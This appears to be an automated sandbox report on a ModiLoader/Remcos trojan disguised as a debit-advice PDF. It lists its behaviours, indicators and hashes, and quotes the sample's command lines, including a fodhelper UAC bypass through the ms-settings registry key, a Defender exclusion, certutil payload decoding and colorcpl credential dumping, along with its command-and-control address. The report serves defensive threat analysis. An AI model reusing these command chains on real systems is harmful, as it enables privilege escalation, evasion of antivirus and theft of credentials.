Malware Analysis Report

2025-01-02 03:19

Sample ID 240326-mjtrhaba4x
Target DEBIT_ADVICE_000610PAY001522024.PDF.tar.gz.exe
SHA256 d8a2540d2a73aad003319a27da2bc446f9f2970e0f9566c6b29fed61cba00cb6
Tags
modiloader remcos remotehost collection persistence rat trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

d8a2540d2a73aad003319a27da2bc446f9f2970e0f9566c6b29fed61cba00cb6

Threat Level: Known bad

The file DEBIT_ADVICE_000610PAY001522024.PDF.tar.gz.exe was found to be: Known bad.

Malicious Activity Summary

modiloader remcos remotehost collection persistence rat trojan

ModiLoader, DBatLoader

Remcos

ModiLoader Second Stage

NirSoft MailPassView

NirSoft WebBrowserPassView

Nirsoft

Executes dropped EXE

Loads dropped DLL

Checks computer location settings

Accesses Microsoft Outlook accounts

Adds Run key to start application

Suspicious use of SetThreadContext

Program crash

Enumerates physical storage devices

Suspicious use of WriteProcessMemory

Kills process with taskkill

Script User-Agent

Suspicious behavior: CmdExeWriteProcessMemorySpam

Suspicious use of AdjustPrivilegeToken

Suspicious behavior: MapViewOfSection

Suspicious behavior: EnumeratesProcesses

Suspicious use of SetWindowsHookEx

Modifies registry class

Modifies registry key

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-03-26 10:30

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-03-26 10:30

Reported

2024-03-26 10:32

Platform

win7-20240221-en

Max time kernel

122s

Max time network

129s

Command Line

cmd /c "C:\Users\Admin\AppData\Local\Temp\DEBIT_ADVICE_000610PAY001522024.PDF.bat"

Signatures

ModiLoader, DBatLoader

trojan modiloader

Remcos

rat remcos

ModiLoader Second Stage

Description Indicator Process Target
N/A N/A N/A N/A

NirSoft MailPassView

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

NirSoft WebBrowserPassView

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Nirsoft

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Windows\system32\cmd.exe N/A
N/A N/A C:\Windows\system32\cmd.exe N/A
N/A N/A C:\Windows\system32\cmd.exe N/A
N/A N/A C:\Users\Public\alpha.exe N/A
N/A N/A C:\Users\Public\xkn.exe N/A
N/A N/A C:\Users\Public\xkn.exe N/A
N/A N/A C:\Users\Public\xkn.exe N/A
N/A N/A C:\Users\Public\alpha.exe N/A

Accesses Microsoft Outlook accounts

collection
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-1658372521-4246568289-2509113762-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts C:\Windows\SysWOW64\colorcpl.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-1658372521-4246568289-2509113762-1000\Software\Microsoft\Windows\CurrentVersion\Run\Koomxsve = "C:\\Users\\Public\\Koomxsve.url" C:\Users\Public\Libraries\Lewxa.com N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 1560 set thread context of 1568 N/A C:\Windows\SysWOW64\colorcpl.exe C:\Windows\SysWOW64\colorcpl.exe
PID 1560 set thread context of 1596 N/A C:\Windows\SysWOW64\colorcpl.exe C:\Windows\SysWOW64\colorcpl.exe
PID 1560 set thread context of 2684 N/A C:\Windows\SysWOW64\colorcpl.exe C:\Windows\SysWOW64\colorcpl.exe

Enumerates physical storage devices

Program crash

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\colorcpl.exe

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-1658372521-4246568289-2509113762-1000_CLASSES\ms-settings\shell\open\command C:\Windows\system32\reg.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1658372521-4246568289-2509113762-1000_CLASSES\ms-settings C:\Windows\system32\reg.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1658372521-4246568289-2509113762-1000_CLASSES\ms-settings\shell C:\Windows\system32\reg.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1658372521-4246568289-2509113762-1000_CLASSES\ms-settings\shell\open C:\Windows\system32\reg.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-1658372521-4246568289-2509113762-1000_CLASSES\ms-settings\shell\open\command\ = "C:\\\\Users\\\\Public\\\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\\Users " C:\Windows\system32\reg.exe N/A

Modifies registry key

Description Indicator Process Target
N/A N/A C:\Windows\system32\reg.exe N/A

Script User-Agent

Description Indicator Process Target
HTTP User-Agent header Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) N/A N/A

Suspicious behavior: CmdExeWriteProcessMemorySpam

Description Indicator Process Target
N/A N/A C:\Users\Public\Libraries\Lewxa.com N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Public\xkn.exe N/A
N/A N/A C:\Windows\SysWOW64\colorcpl.exe N/A
N/A N/A C:\Windows\SysWOW64\colorcpl.exe N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\colorcpl.exe N/A
N/A N/A C:\Windows\SysWOW64\colorcpl.exe N/A
N/A N/A C:\Windows\SysWOW64\colorcpl.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Public\xkn.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\colorcpl.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\colorcpl.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2260 wrote to memory of 1548 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 2260 wrote to memory of 1548 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 2260 wrote to memory of 1548 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 1548 wrote to memory of 2060 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\extrac32.exe
PID 1548 wrote to memory of 2060 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\extrac32.exe
PID 1548 wrote to memory of 2060 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\extrac32.exe
PID 2260 wrote to memory of 2800 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2260 wrote to memory of 2800 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2260 wrote to memory of 2800 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2800 wrote to memory of 2900 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2800 wrote to memory of 2900 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2800 wrote to memory of 2900 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2260 wrote to memory of 2996 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2260 wrote to memory of 2996 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2260 wrote to memory of 2996 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2996 wrote to memory of 2512 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2996 wrote to memory of 2512 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2996 wrote to memory of 2512 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2260 wrote to memory of 2508 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2260 wrote to memory of 2508 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2260 wrote to memory of 2508 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2508 wrote to memory of 2620 N/A C:\Users\Public\alpha.exe C:\Users\Public\xkn.exe
PID 2508 wrote to memory of 2620 N/A C:\Users\Public\alpha.exe C:\Users\Public\xkn.exe
PID 2508 wrote to memory of 2620 N/A C:\Users\Public\alpha.exe C:\Users\Public\xkn.exe
PID 2620 wrote to memory of 2812 N/A C:\Users\Public\xkn.exe C:\Users\Public\alpha.exe
PID 2620 wrote to memory of 2812 N/A C:\Users\Public\xkn.exe C:\Users\Public\alpha.exe
PID 2620 wrote to memory of 2812 N/A C:\Users\Public\xkn.exe C:\Users\Public\alpha.exe
PID 2812 wrote to memory of 2676 N/A C:\Users\Public\alpha.exe C:\Windows\system32\reg.exe
PID 2812 wrote to memory of 2676 N/A C:\Users\Public\alpha.exe C:\Windows\system32\reg.exe
PID 2812 wrote to memory of 2676 N/A C:\Users\Public\alpha.exe C:\Windows\system32\reg.exe
PID 2260 wrote to memory of 2212 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2260 wrote to memory of 2212 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2260 wrote to memory of 2212 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2212 wrote to memory of 2412 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 2212 wrote to memory of 2412 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 2212 wrote to memory of 2412 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 2260 wrote to memory of 2468 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2260 wrote to memory of 2468 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2260 wrote to memory of 2468 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2468 wrote to memory of 2524 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 2468 wrote to memory of 2524 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 2468 wrote to memory of 2524 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 2260 wrote to memory of 3056 N/A C:\Windows\system32\cmd.exe C:\Users\Public\Libraries\Lewxa.com
PID 2260 wrote to memory of 3056 N/A C:\Windows\system32\cmd.exe C:\Users\Public\Libraries\Lewxa.com
PID 2260 wrote to memory of 3056 N/A C:\Windows\system32\cmd.exe C:\Users\Public\Libraries\Lewxa.com
PID 2260 wrote to memory of 3056 N/A C:\Windows\system32\cmd.exe C:\Users\Public\Libraries\Lewxa.com
PID 2260 wrote to memory of 2572 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2260 wrote to memory of 2572 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2260 wrote to memory of 2572 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2260 wrote to memory of 2908 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2260 wrote to memory of 2908 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2260 wrote to memory of 2908 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2260 wrote to memory of 2020 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2260 wrote to memory of 2020 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2260 wrote to memory of 2020 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2260 wrote to memory of 2320 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2260 wrote to memory of 2320 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2260 wrote to memory of 2320 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2260 wrote to memory of 2736 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2260 wrote to memory of 2736 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2260 wrote to memory of 2736 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2736 wrote to memory of 2716 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe
PID 2736 wrote to memory of 2716 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe
PID 2736 wrote to memory of 2716 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe

Processes

C:\Windows\system32\cmd.exe

cmd /c "C:\Users\Admin\AppData\Local\Temp\DEBIT_ADVICE_000610PAY001522024.PDF.bat"

C:\Windows\system32\cmd.exe

cmd /c extrac32.exe /C /Y C:\\Windows\\System32\\cmd.exe C:\\Users\\Public\\alpha.exe

C:\Windows\system32\extrac32.exe

extrac32.exe /C /Y C:\\Windows\\System32\\cmd.exe C:\\Users\\Public\\alpha.exe

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32.exe /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe C:\\Users\\Public\\xkn.exe

C:\Windows\system32\extrac32.exe

extrac32.exe /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe C:\\Users\\Public\\xkn.exe

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32.exe /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe

C:\Windows\system32\extrac32.exe

extrac32.exe /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\Users "' ; start fodhelper.exe "

C:\Users\Public\xkn.exe

C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\Users "' ; start fodhelper.exe "

C:\Users\Public\alpha.exe

"C:\Users\Public\alpha.exe" /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\Users "

C:\Windows\system32\reg.exe

reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\Users "

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\DEBIT_ADVICE_000610PAY001522024.PDF.bat" "C:\\Users\\Public\\Lewxa.txt" 9

C:\Users\Public\kn.exe

C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\DEBIT_ADVICE_000610PAY001522024.PDF.bat" "C:\\Users\\Public\\Lewxa.txt" 9

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Lewxa.txt" "C:\\Users\\Public\\Libraries\\Lewxa.com" 12

C:\Users\Public\kn.exe

C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Lewxa.txt" "C:\\Users\\Public\\Libraries\\Lewxa.com" 12

C:\Users\Public\Libraries\Lewxa.com

C:\\Users\\Public\\Libraries\\Lewxa.com

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del "C:\Users\Public\Lewxa" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del "C:\Users\Public\Lewxa.txt" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del "C:\Users\Public\xkn.exe" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del "C:\Users\Public\kn.exe" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe

C:\Windows\system32\taskkill.exe

taskkill /F /IM SystemSettings.exe

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettingsAdminFlows.exe

C:\Windows\system32\taskkill.exe

taskkill /F /IM SystemSettingsAdminFlows.exe

C:\Windows\SysWOW64\cmd.exe

cmd /c mkdir "\\?\C:\Windows "

C:\Windows\SysWOW64\cmd.exe

cmd /c mkdir "\\?\C:\Windows \System32"

C:\Windows\SysWOW64\cmd.exe

cmd /c "C:\Windows \System32\2163949.exe"

C:\Windows \System32\2163949.exe

"C:\Windows \System32\2163949.exe"

C:\Windows \System32\2163949.exe

"C:\Windows \System32\2163949.exe"

C:\Windows\SysWOW64\extrac32.exe

C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Public\Libraries\Lewxa.com C:\\Users\\Public\\Libraries\\Koomxsve.PIF

C:\Windows\SysWOW64\colorcpl.exe

C:\Windows\System32\colorcpl.exe

C:\Windows\SysWOW64\colorcpl.exe

C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\hnaoadhuqvzgjbmnmwxhxdcrzbqrdnule"

C:\Windows\SysWOW64\colorcpl.exe

C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\rhfgb"

C:\Windows\SysWOW64\colorcpl.exe

C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\tjkztnlpa"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1560 -s 740

Network

Country Destination Domain Proto
US 8.8.8.8:53 1010.filemail.com udp
US 23.237.50.106:443 1010.filemail.com tcp
US 23.237.50.106:443 1010.filemail.com tcp
N/A 127.0.0.1:45671 tcp
N/A 127.0.0.1:55677 tcp
US 192.3.101.8:55677 tcp
US 192.3.101.8:55677 tcp
US 8.8.8.8:53 geoplugin.net udp
NL 178.237.33.50:80 geoplugin.net tcp

Files

\Users\Public\alpha.exe

MD5 5746bd7e255dd6a8afa06f7c42c1ba41
SHA1 0f3c4ff28f354aede202d54e9d1c5529a3bf87d8
SHA256 db06c3534964e3fc79d2763144ba53742d7fa250ca336f4a0fe724b75aaff386
SHA512 3a968356d7b94cc014f78ca37a3c03f354c3970c9e027ed4ccb8e59f0f9f2a32bfa22e7d6b127d44631d715ea41bf8ace91f0b4d69d1714d55552b064ffeb69e

\Users\Public\xkn.exe

MD5 852d67a27e454bd389fa7f02a8cbe23f
SHA1 5330fedad485e0e4c23b2abe1075a1f984fde9fc
SHA256 a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8
SHA512 327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

memory/2620-21-0x000000001B100000-0x000000001B3E2000-memory.dmp

memory/2620-22-0x0000000001F40000-0x0000000001F48000-memory.dmp

memory/2620-28-0x000007FEF6080000-0x000007FEF6A1D000-memory.dmp

memory/2620-30-0x0000000002620000-0x00000000026A0000-memory.dmp

memory/2620-32-0x0000000002620000-0x00000000026A0000-memory.dmp

memory/2620-31-0x0000000002620000-0x00000000026A0000-memory.dmp

memory/2620-29-0x0000000002620000-0x00000000026A0000-memory.dmp

memory/2620-33-0x000007FEF6080000-0x000007FEF6A1D000-memory.dmp

memory/2620-34-0x000007FEF6080000-0x000007FEF6A1D000-memory.dmp

\Users\Public\kn.exe

MD5 ec1fd3050dbc40ec7e87ab99c7ca0b03
SHA1 ae7fdfc29f4ef31e38ebf381e61b503038b5cb35
SHA256 1e19c5a26215b62de1babd5633853344420c1e673bb83e8a89213085e17e16e3
SHA512 4e47331f2fdce77b01d86cf8e21cd7d6df13536f09b70c53e5a6b82f66512faa10e38645884c696b47a27ea6bddc6c1fdb905ee78684dca98cbda5f39fbafcc2

C:\Users\Public\Lewxa.txt

MD5 8f6b3132069a25963b93083743e160dd
SHA1 364112fc579f11dfa82a3c1078ec19706cd6dfda
SHA256 5184b2c7c5ffbaf8b8c9bac27545f09447b61d619a2f2bf472570b9ebec5747c
SHA512 af3051aeed9de9931f12d48cd22fef3273f9350a1cdd3c476fa02f7550288f7a96112f311d4dadcf61f0a67c93c22ce2999fb6253c8841b9d399e710b8518938

C:\Users\Public\Libraries\Lewxa.com

MD5 04aba5a372c8dac9affd6f1578b478b3
SHA1 1e0d764539cbf2e86e0d59b83f407b429f61fdb7
SHA256 b27a5e00f3339d8020da21dabc1c53e001bf5d4a809c47cee65f3e9383568411
SHA512 4d69053814b86bd13b59ca8b147a5331d0eace3ed2aaa936dc35086fdba8ef44d757bdc788eec61338f443578f98b8859f8dd7c7eeef486cab9ecb8eb5be15a3

memory/3056-49-0x00000000001C0000-0x00000000001C1000-memory.dmp

memory/3056-55-0x0000000002D00000-0x0000000003D00000-memory.dmp

memory/3056-56-0x0000000002D00000-0x0000000003D00000-memory.dmp

memory/3056-59-0x00000000001C0000-0x00000000001C1000-memory.dmp

memory/3056-60-0x0000000000400000-0x0000000000527000-memory.dmp

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

MD5 753df6889fd7410a2e9fe333da83a429
SHA1 3c425f16e8267186061dd48ac1c77c122962456e
SHA256 b42dc237e44cbc9a43400e7d3f9cbd406dbdefd62bfe87328f8663897d69df78
SHA512 9d56f79410ad0cf852c74c3ef9454e7ae86e80bdd6ff67773994b48ccac71142bcf5c90635da6a056e1406e81e64674db9584928e867c55b77b59e2851cf6444

C:\Users\Admin\AppData\Local\Temp\Tar919C.tmp

MD5 dd73cead4b93366cf3465c8cd32e2796
SHA1 74546226dfe9ceb8184651e920d1dbfb432b314e
SHA256 a6752b7851b591550e4625b832a393aabcc428de18d83e8593cd540f7d7cae22
SHA512 ce1bdd595065c94fa528badf4a6a8777893807d6789267612755df818ba6ffe55e4df429710aea29526ee4aa8ef20e25f2f05341da53992157d21ae032c0fb63

C:\Windows \System32\2163949.exe

MD5 231ce1e1d7d98b44371ffff407d68b59
SHA1 25510d0f6353dbf0c9f72fc880de7585e34b28ff
SHA256 30951db8bfc21640645aa9144cfeaa294bb7c6980ef236d28552b6f4f3f92a96
SHA512 520887b01bda96b7c4f91b9330a5c03a12f7c7f266d4359432e7bacc76b0eef377c05a4361f8fa80ad0b94b5865699d747a5d94a2d3dcdb85dabf5887bb6c612

memory/1784-123-0x0000000002160000-0x0000000002161000-memory.dmp

memory/1560-140-0x0000000000330000-0x0000000001330000-memory.dmp

memory/1560-142-0x0000000000330000-0x0000000001330000-memory.dmp

memory/1560-143-0x0000000000330000-0x0000000001330000-memory.dmp

memory/1560-144-0x0000000000330000-0x0000000001330000-memory.dmp

memory/1560-145-0x0000000000330000-0x0000000001330000-memory.dmp

memory/1560-147-0x0000000000330000-0x0000000001330000-memory.dmp

memory/1560-150-0x0000000000330000-0x0000000001330000-memory.dmp

memory/1560-151-0x0000000000330000-0x0000000001330000-memory.dmp

memory/1560-152-0x0000000000330000-0x0000000001330000-memory.dmp

memory/1560-153-0x0000000000330000-0x0000000001330000-memory.dmp

memory/1560-156-0x0000000000330000-0x0000000001330000-memory.dmp

memory/1568-158-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

memory/1568-160-0x0000000000400000-0x0000000000478000-memory.dmp

memory/1596-165-0x0000000000400000-0x0000000000462000-memory.dmp

memory/1568-164-0x0000000000400000-0x0000000000478000-memory.dmp

memory/1568-167-0x0000000000400000-0x0000000000478000-memory.dmp

memory/2684-172-0x0000000000400000-0x0000000000424000-memory.dmp

memory/1596-170-0x0000000000400000-0x0000000000462000-memory.dmp

memory/1596-175-0x0000000000400000-0x0000000000462000-memory.dmp

memory/2684-176-0x0000000000400000-0x0000000000424000-memory.dmp

memory/2684-177-0x0000000000400000-0x0000000000424000-memory.dmp

memory/2684-178-0x0000000000400000-0x0000000000424000-memory.dmp

memory/2684-179-0x0000000000400000-0x0000000000424000-memory.dmp

memory/1568-184-0x0000000000400000-0x0000000000478000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\hnaoadhuqvzgjbmnmwxhxdcrzbqrdnule

MD5 f3b25701fe362ec84616a93a45ce9998
SHA1 d62636d8caec13f04e28442a0a6fa1afeb024bbb
SHA256 b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
SHA512 98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

memory/1596-188-0x0000000000400000-0x0000000000462000-memory.dmp

memory/1560-187-0x000000001FA40000-0x000000001FA59000-memory.dmp

memory/1560-191-0x000000001FA40000-0x000000001FA59000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-03-26 10:30

Reported

2024-03-26 10:32

Platform

win10v2004-20240226-en

Max time kernel

147s

Max time network

156s

Command Line

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\DEBIT_ADVICE_000610PAY001522024.PDF.bat"

Signatures

ModiLoader, DBatLoader

trojan modiloader

Remcos

rat remcos

ModiLoader Second Stage

Description Indicator Process Target
N/A N/A N/A N/A

NirSoft MailPassView

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

NirSoft WebBrowserPassView

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Nirsoft

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-609813121-2907144057-1731107329-1000\Control Panel\International\Geo\Nation C:\Users\Public\xkn.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Windows \System32\8567939.exe N/A

Accesses Microsoft Outlook accounts

collection
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-609813121-2907144057-1731107329-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts C:\Windows\SysWOW64\colorcpl.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-609813121-2907144057-1731107329-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Koomxsve = "C:\\Users\\Public\\Koomxsve.url" C:\Users\Public\Libraries\Lewxa.com N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 2308 set thread context of 4584 N/A C:\Windows\SysWOW64\colorcpl.exe C:\Windows\SysWOW64\colorcpl.exe
PID 2308 set thread context of 4676 N/A C:\Windows\SysWOW64\colorcpl.exe C:\Windows\SysWOW64\colorcpl.exe
PID 2308 set thread context of 2424 N/A C:\Windows\SysWOW64\colorcpl.exe C:\Windows\SysWOW64\colorcpl.exe

Enumerates physical storage devices

Program crash

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\colorcpl.exe

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-609813121-2907144057-1731107329-1000_Classes\ms-settings\shell C:\Windows\system32\reg.exe N/A
Key created \REGISTRY\USER\S-1-5-21-609813121-2907144057-1731107329-1000_Classes\ms-settings\shell\open C:\Windows\system32\reg.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-609813121-2907144057-1731107329-1000_Classes\ms-settings\shell\open\command\ = "C:\\\\Users\\\\Public\\\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\\Users " C:\Windows\system32\reg.exe N/A
Key created \REGISTRY\USER\S-1-5-21-609813121-2907144057-1731107329-1000_Classes\ms-settings\shell\open\command C:\Windows\system32\reg.exe N/A
Key created \REGISTRY\USER\S-1-5-21-609813121-2907144057-1731107329-1000_Classes\ms-settings C:\Windows\system32\reg.exe N/A

Modifies registry key

Description Indicator Process Target
N/A N/A C:\Windows\system32\reg.exe N/A

Script User-Agent

Description Indicator Process Target
HTTP User-Agent header Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) N/A N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\colorcpl.exe N/A
N/A N/A C:\Windows\SysWOW64\colorcpl.exe N/A
N/A N/A C:\Windows\SysWOW64\colorcpl.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Public\xkn.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
